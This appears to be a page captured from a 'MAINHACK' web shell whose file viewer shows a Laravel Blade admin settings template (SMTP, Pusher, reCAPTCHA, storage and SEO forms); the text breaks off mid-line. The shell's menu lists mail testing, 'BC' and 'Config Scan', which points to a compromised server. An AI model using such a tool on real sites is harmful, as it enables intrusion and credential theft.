[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: setting.blade.php
@extends('layouts.admin') @section('page-title') {{ __('Settings') }} @endsection @php $setting = App\Models\Utility::getAdminPaymentSettings(); $flag = $setting['color_flag']; $languages = \App\Models\Utility::languages(); $color = isset($settings['theme_color']) ? $settings['theme_color'] : 'theme-4'; $is_sidebar_transperent = isset($settings['is_sidebar_transperent']) ? $settings['is_sidebar_transperent'] : ''; $dark_mode = isset($settings['dark_mode']) ? $settings['dark_mode'] : ''; if ($setting['color']) { $color = $setting['color']; } else { $color = 'theme-4'; } @endphp @php $logo = \App\Models\Utility::get_file('logo/'); $meta_images = \App\Models\Utility::get_file('uploads/logo/'); $file_type = config('files_types'); $local_storage_validation = $setting['local_storage_validation']; $local_storage_validations = explode(',', $local_storage_validation); $s3_storage_validation = $setting['s3_storage_validation']; $s3_storage_validations = explode(',', $s3_storage_validation); $wasabi_storage_validation = $setting['wasabi_storage_validation']; $wasabi_storage_validations = explode(',', $wasabi_storage_validation); $google_recaptcha_version = ['v2-checkbox' => __('v2'), 'v3' => __('v3')]; @endphp @section('links') @if (\Auth::guard('client')->check()) <li class="breadcrumb-item"><a href="{{ route('client.home') }}">{{ __('Home') }}</a></li> @else <li class="breadcrumb-item"><a href="{{ route('home') }}">{{ __('Home') }}</a></li> @endif <li class="breadcrumb-item"> {{ __('Settings') }}</li> @endsection @section('content') <div class="row"> <!-- [ sample-page ] start --> <div class="col-sm-12"> <div class="row"> <div class="col-xl-3"> <div class="card sticky-top" style="top:30px"> <div class="list-group list-group-flush" id="useradd-sidenav"> <a href="#brand-settings" class="list-group-item list-group-item-action border-0 ">{{ __('Brand Settings') }} <div class="float-end"><i class="ti ti-chevron-right"></i></div> </a> <a href="#email-settings" class="list-group-item list-group-item-action dash-link border-0">{{ __('Email Settings') }} <div class="float-end"><i class="ti ti-chevron-right"></i></div> </a> <a href="#pusher-settings" class="list-group-item list-group-item-action border-0">{{ __('Pusher Settings') }} <div class="float-end"><i class="ti ti-chevron-right"></i></div></a> <a href="#recaptcha-settings" class="list-group-item list-group-item-action border-0">{{ __('ReCaptcha Settings') }} <div class="float-end"><i class="ti ti-chevron-right"></i></div></a> <a href="#storage-settings" class="list-group-item list-group-item-action border-0">{{ __('Storage Settings') }} <div class="float-end"><i class="ti ti-chevron-right"></i></div></a> <a href="#seo" class="list-group-item list-group-item-action border-0">{{ __('SEO Settings') }} <div class="float-end"><i class="ti ti-chevron-right"></i></div> </a> <a href="#cache" class="list-group-item list-group-item-action border-0">{{ __('Cache Settings') }} <div class="float-end"><i class="ti ti-chevron-right"></i></div> </a> <a href="#cookie-settings" class="list-group-item list-group-item-action border-0">{{ __('Cookie Settings ') }} <div class="float-end"><i class="ti ti-chevron-right"></i></div> </a> <a href="#chat-gpt-settings" class="list-group-item list-group-item-action border-0">{{ __('ChatGPT Settings ') }} <div class="float-end"><i class="ti ti-chevron-right"></i></div> </a> </div> </div> </div> <div class="col-xl-9"> <div id="brand-settings" class=""> {{ Form::open(['route' => 'settings.store', 'method' => 'post', 'enctype' => 'multipart/form-data']) }} <div class="row"> <div class="col-12"> <div class="card "> <div class="card-header"> <h5>{{ __('Brand Settings') }}</h5> </div> <div class="card-body"> <div class="row mt-2"> <div class="col-sm-6 col-md-4"> <div class="card "> <div class="card-header"> <h5>{{ __('Dark Logo') }}</h5> </div> <div class="card-body"> <div class="logo-content"> <img src="{{ $logo . 'logo-light.png' . '?' . time() }}" id="dark_logo" style="filter: drop-shadow(2px 3px 7px #011c4b);" class="small_logo" /> </div> <div class="choose-file mt-5 "> <label for="logo_blue"> <div class=" bg-primary" style="cursor: pointer;transform: translateY(+110%);"> <i class="ti ti-upload px-1"></i>{{ __('Choose file here') }} </div> <input type="file" class="form-control choose_file_custom" name="logo_blue" id="logo_blue" data-filename="edit-logo_blue"> </label> <p class="edit-logo_blue"></p> </div> </div> </div> </div> <div class="col-sm-6 col-md-4"> <div class="card "> <div class="card-header"> <h5>{{ __('Light Logo') }}</h5> </div> <div class="card-body"> <div class="logo-content"> <img src="{{ $logo . 'logo-dark.png' . '?' . time() }}" id="image" style="filter: drop-shadow(2px 3px 7px #011c4b);" class="small_logo" /> </div> <div class="choose-file mt-5 "> <label for="logo_white"> <div class=" bg-primary" style="cursor: pointer;transform: translateY(+110%);"> <i class="ti ti-upload px-1"></i>{{ __('Choose file here') }} </div> <input type="file" class="form-control choose_file_custom" name="logo_white" id="logo_white" data-filename="edit-logo_white"> </label> <p class="edit-logo_white"></p> </div> </div> </div> </div> <div class="col-sm-6 col-md-4"> <div class="card "> <div class="card-header"> <h5>{{ __('Favicon') }}</h5> </div> <div class="card-body"> <div class="logo-content"> <img src="{{ $logo . 'favicon.png' . '?' . time() }}" class="small_logo" id="favicon" style="width: 60px !important;" /> </div> <div class="choose-file mt-5 "> <label for="small-favicon"> <div class=" bg-primary" style="cursor: pointer;transform: translateY(+110%);"> <i class="ti ti-upload px-1"></i>{{ __('Choose file here') }} </div> <input type="file" class="form-control choose_file_custom" name="favicon" id="small-favicon" data-filename="edit-favicon"> </label> <p class="edit-favicon"></p> </div> </div> </div> </div> <div class="col-sm-4"> <div class="form-group"> {{ Form::label('app_name', __('App Name'), ['class' => 'form-label']) }} {{ Form::text('app_name', !empty($setting['app_name']) ? $setting['app_name'] : '', ['class' => 'form-control', 'placeholder' => __('App Name')]) }} @error('app_name') <span class="invalid-app_name" role="alert"> <strong class="text-danger">{{ $message }}</strong> </span> @enderror </div> </div> <div class="col-sm-4"> <div class="form-group"> {{ Form::label('footer_text', __('Footer Text'), ['class' => 'form-label']) }} {{ Form::text('footer_text', !empty($setting['footer_text']) ? $setting['footer_text'] : '', ['class' => 'form-control', 'placeholder' => __('Footer Text')]) }} @error('footer_text') <span class="invalid-footer_text" role="alert"> <strong class="text-danger">{{ $message }}</strong> </span> @enderror </div> </div> <div class="col-sm-4"> @php $DEFAULT_LANG = $setting['default_lang'] ? $setting['default_lang'] : 'en'; @endphp <div class="form-group"> {{ Form::label('default_language', __('Default Language'), ['class' => 'form-label']) }} <div class="changeLanguage"> <select name="default_language" id="default_language" class="form-control multi-select"> {{-- @foreach ($workspace->languages() as $lang) <option value="{{ $lang }}" @if (env('DEFAULT_LANG') == $lang) selected @endif> {{ ucfirst( \App\Models\Utility::getlang_fullname($lang)) }} </option> @endforeach --}} @foreach ($languages as $languageCode => $languageFullName) <option value="{{ $languageCode }}" @if ($DEFAULT_LANG == $languageCode) selected @endif> {{ $languageFullName }} </option> @endforeach </select> </div> </div> </div> <div class="row"> <div class="col-sm-3 "> <div class="col switch-width"> <div class="form-group ml-2 mr-3"> <label class="form-label mb-1">{{ __('Enable Landing Page') }}</label> <div class="custom-control custom-switch"> <input type="checkbox" data-toggle="switchbutton" data-onstyle="primary" class="" name="display_landing" id="display_landing" {{ !empty($setting['display_landing']) && $setting['display_landing'] == 'on' ? 'checked="checked"' : '' }}> <label class="custom-control-label mb-1" for="status"></label> </div> </div> </div> </div> <div class="col-sm-3"> <div class="col switch-width"> <div class="form-group ml-2 mr-3 "> <label class="form-label mb-1">{{ __('Enable RTL') }}</label> <div class="custom-control custom-switch"> <input type="checkbox" data-toggle="switchbutton" data-onstyle="primary" class="" name="SITE_RTL" id="SITE_RTL" {{ !empty($setting['site_rtl']) && $setting['site_rtl'] == 'on' ? 'checked="checked"' : '' }}> <label class="custom-control-label" for="site_rtl"></label> </div> </div> </div> </div> <div class="col-sm-3"> <div class="col switch-width"> <div class="form-group ml-2 mr-3 "> <label class="form-label mb-1">{{ __('Enable Sign-Up Page') }}</label> <div class="custom-control custom-switch"> <input type="checkbox" data-toggle="switchbutton" data-onstyle="primary" class="" name="SIGNUP_BUTTON" id="SIGNUP_BUTTON" {{ !empty($setting['signup_button']) && $setting['signup_button'] == 'on' ? 'checked="checked"' : '' }}> <label class="custom-control-label" for="SIGNUP_BUTTON"></label> </div> </div> </div> </div> <div class="col-sm-3"> <div class="col switch-width"> <div class="form-group ml-2 mr-3 "> <label class="form-label mb-1">{{ __('Enable Email Verification') }}</label> <div class="custom-control custom-switch"> <input type="checkbox" data-toggle="switchbutton" data-onstyle="primary" class="" name="email_verification" id="email_verification" {{ isset($setting['email_verification']) && $setting['email_verification'] == 'on' ? 'checked' : '' }}> <label class="custom-control-label" for="email_verification"></label> </div> </div> </div> </div> {{-- <div class="col-sm-2"> <div class="col switch-width"> <div class="form-group ml-2 mr-3 "> <label class="form-label mb-1">{{ __('GDPR Cookie') }}</label> <div class="custom-control custom-switch"> <input type="checkbox" data-toggle="switchbutton" data-onstyle="primary" class="gdpr_fulltime" name="gdpr_cookie" id="gdpr_cookie" {{ !empty(env('gdpr_cookie')) && env('gdpr_cookie') == 'on' ? 'checked="checked"' : '' }}> <label class="custom-control-label" for="gdpr_cookie"></label> </div> </div> </div> </div> <div class="form-group col-md-12"> @if (env('gdpr_cookie') == 'on') {{ Form::label('cookie_text', __('GDPR Cookie Text'), ['class' => 'fulltime form-label ']) }} {!! Form::textarea('cookie_text', env('cookie_text'), [ 'class' => 'form-control fulltime', 'rows' => '2', 'style' => 'display: hidden;height: auto !important;resize:none;', ]) !!} @endif </div> --}} </div> <h4 class="small-title mb-4">Theme Customizer</h4> <div class="col-12"> <div class="pct-body"> <div class="row"> <div class="col-sm-4"> <h6 class=""> <i data-feather="credit-card" class="me-2"></i>Primary color settings </h6> <hr class="my-2" /> <div class="color-wrp"> <div class="theme-color themes-color"> <input type="hidden" name="color" id="color_value" value="{{ $color }}"> <a href="#!" class="themes-color-change {{ $color == 'theme-1' ? 'active_color' : '' }}" data-value="theme-1" onclick="check_theme('theme-1')"></a> <input type="radio" class="theme_color" name="color" value="theme-1" style="display: none;"> <a href="#!" class="themes-color-change {{ $color == 'theme-2' ? 'active_color' : '' }} " data-value="theme-2" onclick="check_theme('theme-2')"></a> <input type="radio" class="theme_color" name="color" value="theme-2" style="display: none;"> <a href="#!" class="themes-color-change {{ $color == 'theme-3' ? 'active_color' : '' }}" data-value="theme-3" onclick="check_theme('theme-3')"></a> <input type="radio" class="theme_color" name="color" value="theme-3" style="display: none;"> <a href="#!" class="themes-color-change {{ $color == 'theme-4' ? 'active_color' : '' }}" data-value="theme-4" onclick="check_theme('theme-4')"></a> <input type="radio" class="theme_color" name="color" value="theme-4" style="display: none;"> <a href="#!" class="themes-color-change {{ $color == 'theme-5' ? 'active_color' : '' }}" data-value="theme-5" onclick="check_theme('theme-5')"></a> <input type="radio" class="theme_color" name="color" value="theme-5" style="display: none;"> <br> <a href="#!" class="themes-color-change {{ $color == 'theme-6' ? 'active_color' : '' }}" data-value="theme-6" onclick="check_theme('theme-6')"></a> <input type="radio" class="theme_color" name="color" value="theme-6" style="display: none;"> <a href="#!" class="themes-color-change {{ $color == 'theme-7' ? 'active_color' : '' }}" data-value="theme-7" onclick="check_theme('theme-7')"></a> <input type="radio" class="theme_color" name="color" value="theme-7" style="display: none;"> <a href="#!" class="themes-color-change {{ $color == 'theme-8' ? 'active_color' : '' }}" data-value="theme-8" onclick="check_theme('theme-8')"></a> <input type="radio" class="theme_color" name="color" value="theme-8" style="display: none;"> <a href="#!" class="themes-color-change {{ $color == 'theme-9' ? 'active_color' : '' }}" data-value="theme-9" onclick="check_theme('theme-9')"></a> <input type="radio" class="theme_color" name="color" value="theme-9" style="display: none;"> <a href="#!" class="themes-color-change {{ $color == 'theme-10' ? 'active_color' : '' }}" data-value="theme-10" onclick="check_theme('theme-10')"></a> <input type="radio" class="theme_color" name="color" value="theme-10" style="display: none;"> </div> <div class="color-picker-wrp "> <input type="color" value="{{ $color ? $color : '' }}" class="colorPicker {{ isset($flag) && $flag == 'true' ? 'active_color' : '' }}" name="custom_color" id="color-picker"> <input type='hidden' name="color_flag" value={{ isset($flag) && $flag == 'true' ? 'true' : 'false' }}> </div> </div> </div> <div class="col-sm-4"> <h6 class=""> <i data-feather="layout" class="me-2"></i>Sidebar settings </h6> <hr class="my-2 " /> <div class="form-check form-switch"> <input type="checkbox" class="form-check-input" id="cust-theme-bg" name="cust_theme_bg" @if ($setting['cust_theme_bg'] == 'on') checked @endif /> <label class="form-check-label f-w-600 pl-1" for="cust-theme-bg">Transparent layout</label> </div> </div> <div class="col-sm-4"> <h6 class=""> <i data-feather="sun" class=""></i>Layout settings </h6> <hr class=" my-2" /> <div class="form-check form-switch mt-2 "> <input type="checkbox" class="form-check-input" id="cust-darklayout" name="cust_darklayout" @if ($setting['cust_darklayout'] == 'on') checked @endif /> <label class="form-check-label f-w-600 pl-1" for="cust-darklayout">Dark Layout</label> </div> </div> </div> </div> </div> </div> </div> <div class="card-footer text-end"> <input type="submit" value="{{ __('Save Changes') }}" class="btn btn-primary"> </div> </div> </div> </div> {{ Form::close() }} </div> <div id="email-settings" class="tab-pane"> <div class="col-md-12"> <div class="card"> <div class="card-header"> <h5>{{ __('Email Settings') }}</h5> <small>{{ __('This SMTP will be used for system-level email sending. Additionally, if a company user does not set their SMTP, then this SMTP will be used for sending emails.') }}</small> </div> {{ Form::open(['route' => 'email.settings.store', 'method' => 'post']) }} <div class="card-body p-4"> <div class="row"> <div class="col-lg-3 col-md-6 col-sm-6 form-group"> {{ Form::label('mail_driver', __('Mail Driver'), ['class' => 'form-label']) }} {{ Form::text('mail_driver', !empty($setting['mail_driver']) ? $setting['mail_driver'] : '', ['class' => 'form-control', 'placeholder' => __('Enter Mail Driver')]) }} @error('mail_driver') <span class="invalid-mail_driver" role="alert"> <strong class="text-danger">{{ $message }}</strong> </span> @enderror </div> <div class="col-lg-3 col-md-6 col-sm-6 form-group"> {{ Form::label('mail_host', __('Mail Host'), ['class' => 'form-label']) }} {{ Form::text('mail_host', !empty($setting['mail_host']) ? $setting['mail_host'] : '', ['class' => 'form-control ', 'placeholder' => __('Enter Mail Host')]) }} @error('mail_host') <span class="invalid-mail_driver" role="alert"> <strong class="text-danger">{{ $message }}</strong> </span> @enderror </div> <div class="col-lg-3 col-md-6 col-sm-6 form-group"> {{ Form::label('mail_port', __('Mail Port'), ['class' => 'form-label']) }} {{ Form::text('mail_port', !empty($setting['mail_port']) ? $setting['mail_port'] : '', ['class' => 'form-control', 'placeholder' => __('Enter Mail Port')]) }} @error('mail_port') <span class="invalid-mail_port" role="alert"> <strong class="text-danger">{{ $message }}</strong> </span> @enderror </div> <div class="col-lg-3 col-md-6 col-sm-6 form-group"> {{ Form::label('mail_username', __('Mail Username'), ['class' => 'form-label']) }} {{ Form::text('mail_username', !empty($setting['mail_username']) ? $setting['mail_username'] : '', ['class' => 'form-control', 'placeholder' => __('Enter Mail Username')]) }} @error('mail_username') <span class="invalid-mail_username" role="alert"> <strong class="text-danger">{{ $message }}</strong> </span> @enderror </div> <div class="col-lg-3 col-md-6 col-sm-6 form-group"> {{ Form::label('mail_password', __('Mail Password'), ['class' => 'form-label']) }} {{ Form::text('mail_password', !empty($setting['mail_password']) ? $setting['mail_password'] : '', ['class' => 'form-control', 'placeholder' => __('Enter Mail Password')]) }} @error('mail_password') <span class="invalid-mail_password" role="alert"> <strong class="text-danger">{{ $message }}</strong> </span> @enderror </div> <div class="col-lg-3 col-md-6 col-sm-6 form-group"> {{ Form::label('mail_encryption', __('Mail Encryption'), ['class' => 'form-label']) }} {{ Form::text('mail_encryption', !empty($setting['mail_encryption']) ? $setting['mail_encryption'] : '', ['class' => 'form-control', 'placeholder' => __('Enter Mail Encryption')]) }} @error('mail_encryption') <span class="invalid-mail_encryption" role="alert"> <strong class="text-danger">{{ $message }}</strong> </span> @enderror </div> <div class="col-lg-3 col-md-6 col-sm-6 form-group"> {{ Form::label('mail_from_address', __('Mail From Address'), ['class' => 'form-label']) }} {{ Form::text('mail_from_address', !empty($setting['mail_from_address']) ? $setting['mail_from_address'] : '', ['class' => 'form-control', 'placeholder' => __('Enter Mail From Address')]) }} @error('mail_from_address') <span class="invalid-mail_from_address" role="alert"> <strong class="text-danger">{{ $message }}</strong> </span> @enderror </div> <div class="col-lg-3 col-md-6 col-sm-6 form-group"> {{ Form::label('mail_from_name', __('Mail From Name'), ['class' => 'form-label']) }} {{ Form::text('mail_from_name', !empty($setting['mail_from_name']) ? $setting['mail_from_name'] : '', ['class' => 'form-control', 'placeholder' => __('Enter Mail From Name')]) }} @error('mail_from_name') <span class="invalid-mail_from_name" role="alert"> <strong class="text-danger">{{ $message }}</strong> </span> @enderror </div> </div> </div> <div class="card-footer"> <div class="row"> <div class="text-start col-6"> <a href="#" data-size="md" data-url="{{ route('test.email') }}" data-title="{{ __('Send Test Mail') }}" class="btn btn-primary send_email"> {{ __('Send Test Mail') }} </a> </div> <div class="text-end col-6"> <input type="submit" value="{{ __('Save Changes') }}" class="btn-submit btn btn-primary"> </div> </div> </div> {{ Form::close() }} </div> </div> </div> <div id="pusher-settings" class="card"> <div class="col-md-12"> <form method="POST" action="{{ route('pusher.settings.store') }}" accept-charset="UTF-8"> @csrf <div class="card-header"> <div class="row align-items-center justify-content-between"> <div class="col-auto"> <h5>{{ __('Pusher Settings') }}</h5> </div> <div class=" col-auto"> <div class="col switch-width"> <div class="form-group m-0"> <div class="custom-control custom-switch"> <label class="custom-control-label form-control-label px-2" for="enable_chat ">{{ __('Enable Chat') }}</label> <input type="hidden" name="enable_chat" value="off"> <input type="checkbox" data-toggle="switchbutton" data-onstyle="primary" name="enable_chat" id="enable_chat" {{ !empty($setting['enable_chat']) && $setting['enable_chat'] == 'on' ? 'checked="checked"' : '' }}> </div> </div> </div> </div> </div> </div> <div class="card-body p-3"> <div class="row"> <div class="col-lg-6 col-md-6 col-sm-6 form-group"> <label for="pusher_app_id" class="form-label">{{ __('Pusher App Id') }}</label> <input class="form-control" placeholder="Enter Pusher App Id" name="pusher_app_id" type="text" value="{{ !empty($setting['pusher_app_id']) ? $setting['pusher_app_id'] : '' }}" id="pusher_app_id"> </div> <div class="col-lg-6 col-md-6 col-sm-6 form-group"> <label for="pusher_app_key" class="form-label">{{ __('Pusher App Key') }}</label> <input class="form-control " placeholder="Enter Pusher App Key" name="pusher_app_key" type="text" value="{{ !empty($setting['pusher_app_key']) ? $setting['pusher_app_key'] : '' }}" id="pusher_app_key"> </div> <div class="col-lg-6 col-md-6 col-sm-6 form-group"> <label for="pusher_app_secret" class="form-label">{{ __('Pusher App Secret') }}</label> <input class="form-control " placeholder="Enter Pusher App Secret" name="pusher_app_secret" type="text" value="{{ !empty($setting['pusher_app_secret']) ? $setting['pusher_app_secret'] : '' }}" id="pusher_app_secret"> </div> <div class="col-lg-6 col-md-6 col-sm-6 form-group"> <label for="pusher_app_cluster" class="form-label">{{ __('Pusher App Cluster') }}</label> <input class="form-control " placeholder="Enter Pusher App Cluster" name="pusher_app_cluster" type="text" value="{{ !empty($setting['pusher_app_cluster']) ? $setting['pusher_app_cluster'] : '' }}" id="pusher_app_cluster"> </div> </div> </div> <div class="card-footer text-end"> <input type="submit" value="{{ __('Save Changes') }}" class="btn-submit btn btn-primary"> </div> </form> </div> </div> <div id="recaptcha-settings" class="card"> <div class="col-md-12"> <form method="POST" action="{{ route('recaptcha.settings.store') }}" accept-charset="UTF-8"> @csrf <div class="card-header"> <div class="row align-items-center justify-content-between"> <div class="col-auto"> <h5>{{ __('ReCaptcha Settings') }}</h5> <a href="https://phppot.com/php/how-to-get-google-recaptcha-site-and-secret-key/" target="_blank" class="text-primary "> <small class="d-block mt-2">({{ __('How to Get Google reCaptcha Site and Secret key') }})</small> </a> </div> <div class="col-auto"> <div class="col switch-width"> <div class="form-group m-0"> <div class="custom-control custom-switch"> <input type="hidden" name="recaptcha_module" value="off"> <input type="checkbox" data-toggle="switchbutton" data-onstyle="primary" name="recaptcha_module" id="recaptcha_module" {{ !empty($setting['recaptcha_module']) && $setting['recaptcha_module'] == 'on' ? 'checked="checked"' : '' }}> </div> </div> </div> </div> </div> </div> <div class="card-body"> <div class="row"> <div class="col-md-6"> <div class="form-group col switch-width"> {{ Form::label('google_recaptcha_version', __('Google Recaptcha Version'), ['class' => 'col-form-label']) }} {{ Form::select( 'google_recaptcha_version', $google_recaptcha_version, isset($setting['google_recaptcha_version']) && $setting['google_recaptcha_version'] == 'v3' ? 'v3' : 'v2-checkbox', ['id' => 'google_recaptcha_version', 'class' => 'form-control multi-select', 'searchEnabled' => 'true'], ) }} </div> </div> <div class="col-md-6"> </div> <div class="col-lg-6 col-md-6 col-sm-6 form-group"> <label for="google_recaptcha_key" class="form-label">{{ __('Google Recaptcha Key') }}</label> <input class="form-control" placeholder="{{ __('Enter Google Recaptcha Key') }}" name="google_recaptcha_key" type="text" value="{{ !empty($setting['google_recaptcha_key']) ? $setting['google_recaptcha_key'] : '' }}" id="google_recaptcha_key"> </div> <div class="col-lg-6 col-md-6 col-sm-6 form-group"> <label for="google_recaptcha_secret" class="form-label">{{ __('Google Recaptcha Secret') }}</label> <input class="form-control " placeholder="{{ __('Enter Google Recaptcha Secret') }}" name="google_recaptcha_secret" type="text" value="{{ !empty($setting['google_recaptcha_secret']) ? $setting['google_recaptcha_secret'] : '' }}" id="google_recaptcha_secret"> </div> </div> </div> <div class="card-footer text-end"> <input type="submit" value="{{ __('Save Changes') }}" class="btn-submit btn btn-primary"> </div> </form> </div> </div> <!--storage Setting--> <div id="storage-settings" class="card mb-3"> {{ Form::open(['route' => 'storage.setting.store', 'enctype' => 'multipart/form-data']) }} <div class="card-header"> <div class="row"> <div class="col-lg-10 col-md-10 col-sm-10"> <h5>{{ __('Storage Settings') }}</h5> </div> </div> </div> <div class="card-body"> <div class="d-flex flex-sm-row flex-column"> <div class="pe-2 pb-3"> <input type="radio" class="btn-check" name="storage_setting" id="local-outlined" autocomplete="off" {{ $setting['storage_setting'] == 'local' ? 'checked' : '' }} value="local" checked> <label class="btn btn-outline-primary col-12" for="local-outlined">{{ __('Local') }}</label> </div> <div class="pe-2 pb-3 "> <input type="radio" class="btn-check" name="storage_setting" id="s3-outlined" autocomplete="off" {{ $setting['storage_setting'] == 's3' ? 'checked' : '' }} value="s3"> <label class="btn btn-outline-primary col-12" for="s3-outlined"> {{ __('AWS S3') }}</label> </div> <div class="pe-2 pb-3"> <input type="radio" class="btn-check" name="storage_setting" id="wasabi-outlined" autocomplete="off" {{ $setting['storage_setting'] == 'wasabi' ? 'checked' : '' }} value="wasabi"> <label class="btn btn-outline-primary col-12" for="wasabi-outlined">{{ __('Wasabi') }}</label> </div> </div> <div class="mt-4"> <div class="local-setting row "> <div class="form-group col-lg-8 switch-width"> {{ Form::label('local_storage_validation', __('Only Upload Files'), ['class' => ' form-label']) }} <select name="local_storage_validation[]" class="multi-select" data-toggle="select2" id="local_storage_validation" multiple="multiple"> @foreach ($file_type as $f) <option @if (in_array($f, $local_storage_validations)) selected @endif> {{ $f }}</option> @endforeach </select> </div> <div class="col-lg-4"> <div class="form-group"> <label class="form-label" for="local_storage_max_upload_size">{{ __('Max upload size ( In KB)') }}</label> <input type="number" name="local_storage_max_upload_size" class="form-control" value="{{ !isset($setting['local_storage_max_upload_size']) || is_null($setting['local_storage_max_upload_size']) ? '' : $setting['local_storage_max_upload_size'] }}" placeholder="{{ __('Max upload size') }}"> </div> </div> </div> <div class="s3-setting row {{ $setting['storage_setting'] == 's3' ? ' ' : 'd-none' }}"> <div class=" row "> <div class="col-lg-6"> <div class="form-group"> <label class="form-label" for="s3_key">{{ __('S3 Key') }}</label> <input type="text" name="s3_key" class="form-control" value="{{ !isset($setting['s3_key']) || is_null($setting['s3_key']) ? '' : $setting['s3_key'] }}" placeholder="{{ __('S3 Key') }}"> </div> </div> <div class="col-lg-6"> <div class="form-group"> <label class="form-label" for="s3_secret">{{ __('S3 Secret') }}</label> <input type="text" name="s3_secret" class="form-control" value="{{ !isset($setting['s3_secret']) || is_null($setting['s3_secret']) ? '' : $setting['s3_secret'] }}" placeholder="{{ __('S3 Secret') }}"> </div> </div> <div class="col-lg-6"> <div class="form-group"> <label class="form-label" for="s3_region">{{ __('S3 Region') }}</label> <input type="text" name="s3_region" class="form-control" value="{{ !isset($setting['s3_region']) || is_null($setting['s3_region']) ? '' : $setting['s3_region'] }}" placeholder="{{ __('S3 Region') }}"> </div> </div> <div class="col-lg-6"> <div class="form-group"> <label class="form-label" for="s3_bucket">{{ __('S3 Bucket') }}</label> <input type="text" name="s3_bucket" class="form-control" value="{{ !isset($setting['s3_bucket']) || is_null($setting['s3_bucket']) ? '' : $setting['s3_bucket'] }}" placeholder="{{ __('S3 Bucket') }}"> </div> </div> <div class="col-lg-6"> <div class="form-group"> <label class="form-label" for="s3_url">{{ __('S3 URL') }}</label> <input type="text" name="s3_url" class="form-control" value="{{ !isset($setting['s3_url']) || is_null($setting['s3_url']) ? '' : $setting['s3_url'] }}" placeholder="{{ __('S3 URL') }}"> </div> </div> <div class="col-lg-6"> <div class="form-group"> <label class="form-label" for="s3_endpoint">{{ __('S3 Endpoint') }}</label> <input type="text" name="s3_endpoint" class="form-control" value="{{ !isset($setting['s3_endpoint']) || is_null($setting['s3_endpoint']) ? '' : $setting['s3_endpoint'] }}" placeholder="{{ __('S3 Endpoint') }}"> </div> </div> <div class="form-group col-8 switch-width"> {{ Form::label('s3_storage_validation', __('Only Upload Files'), ['class' => ' form-label']) }} <select name="s3_storage_validation[]" class="multi-select" data-toggle="select2" id="s3_storage_validation" multiple="multiple"> @foreach ($file_type as $f) <option @if (in_array($f, $s3_storage_validations)) selected @endif> {{ $f }}</option> @endforeach </select> </div> <div class="col-lg-4"> <div class="form-group"> <label class="form-label" for="s3_max_upload_size">{{ __('Max upload size ( In KB)') }}</label> <input type="number" name="s3_max_upload_size" class="form-control" value="{{ !isset($setting['s3_max_upload_size']) || is_null($setting['s3_max_upload_size']) ? '' : $setting['s3_max_upload_size'] }}" placeholder="{{ __('Max upload size') }}"> </div> </div> </div> </div> <div class="wasabi-setting row {{ $setting['storage_setting'] == 'wasabi' ? ' ' : 'd-none' }}"> <div class=" row "> <div class="col-lg-6"> <div class="form-group"> <label class="form-label" for="s3_key">{{ __('Wasabi Key') }}</label> <input type="text" name="wasabi_key" class="form-control" value="{{ !isset($setting['wasabi_key']) || is_null($setting['wasabi_key']) ? '' : $setting['wasabi_key'] }}" placeholder="{{ __('Wasabi Key') }}"> </div> </div> <div class="col-lg-6"> <div class="form-group"> <label class="form-label" for="s3_secret">{{ __('Wasabi Secret') }}</label> <input type="text" name="wasabi_secret" class="form-control" value="{{ !isset($setting['wasabi_secret']) || is_null($setting['wasabi_secret']) ? '' : $setting['wasabi_secret'] }}" placeholder="{{ __('Wasabi Secret') }}"> </div> </div> <div class="col-lg-6"> <div class="form-group"> <label class="form-label" for="s3_region">{{ __('Wasabi Region') }}</label> <input type="text" name="wasabi_region" class="form-control" value="{{ !isset($setting['wasabi_region']) || is_null($setting['wasabi_region']) ? '' : $setting['wasabi_region'] }}" placeholder="{{ __('Wasabi Region') }}"> </div> </div> <div class="col-lg-6"> <div class="form-group"> <label class="form-label" for="wasabi_bucket">{{ __('Wasabi Bucket') }}</label> <input type="text" name="wasabi_bucket" class="form-control" value="{{ !isset($setting['wasabi_bucket']) || is_null($setting['wasabi_bucket']) ? '' : $setting['wasabi_bucket'] }}" placeholder="{{ __('Wasabi Bucket') }}"> </div> </div> <div class="col-lg-6"> <div class="form-group"> <label class="form-label" for="wasabi_url">{{ __('Wasabi URL') }}</label> <input type="text" name="wasabi_url" class="form-control" value="{{ !isset($setting['wasabi_url']) || is_null($setting['wasabi_url']) ? '' : $setting['wasabi_url'] }}" placeholder="{{ __('Wasabi URL') }}"> </div> </div> <div class="col-lg-6"> <div class="form-group"> <label class="form-label" for="wasabi_root">{{ __('Wasabi Root') }}</label> <input type="text" name="wasabi_root" class="form-control" value="{{ !isset($setting['wasabi_root']) || is_null($setting['wasabi_root']) ? '' : $setting['wasabi_root'] }}" placeholder="{{ __('Wasabi Root') }}"> </div> </div> <div class="form-group col-8 switch-width"> {{ Form::label('wasabi_storage_validation', __('Only Upload Files'), ['class' => 'form-label']) }} <select name="wasabi_storage_validation[]" class="multi-select" data-toggle="select2" id="wasabi_storage_validation" multiple='multiple'> @foreach ($file_type as $f) <option @if (in_array($f, $wasabi_storage_validations)) selected @endif> {{ $f }}</option> @endforeach </select> </div> <div class="col-lg-4"> <div class="form-group"> <label class="form-label" for="wasabi_root">{{ __('Max upload size ( In KB)') }}</label> <input type="number" name="wasabi_max_upload_size" class="form-control" value="{{ !isset($setting['wasabi_max_upload_size']) || is_null($setting['wasabi_max_upload_size']) ? '' : $setting['wasabi_max_upload_size'] }}" placeholder="{{ __('Max upload size') }}"> </div> </div> </div> </div> </div> </div> <div class="card-footer text-end"> {{ Form::submit(__('Save Changes'), ['class' => 'btn btn-primary']) }} </div> {{ Form::close() }} </div> <!--seo--> <div class="" id="seo"> {{ Form::open(['route' => ['settings.seo.store'], 'method' => 'post', 'enctype' => 'multipart/form-data']) }} <div class="row justify-content-center"> <div class="col-md-12"> <div class="card"> <div class="card-header"> <div class="row align-items-center justify-content-between"> <div class="col-auto"> <h5>{{ __('SEO Settings') }}</h5> </div> <div class="col-auto"> <a data-size="lg" data-ajax-popup-over="true" class="btn btn-sm text-white btn-primary" data-url="{{ route('generate', ['seo']) }}" data-bs-toggle="tooltip" data-bs-placement="top" title="{{ __('Generate with AI') }}" data-title="{{ __('Generate Meta Keywords and Meta Description') }}"> <i class="fas fa-robot text-white"></i> {{ __('Generate with AI') }} </a> </div> </div> </div> <div class="card-body"> <div class="row "> <div class="col-12 row"> <div class="col-lg-6 col-md-6"> <div class="col-lg-12 col-md-12 col-sm-12 form-group"> {{ Form::label('Telegram Access Token', __('Meta Keywords'), ['class' => 'form-label']) }} {{ Form::text('meta_keywords', 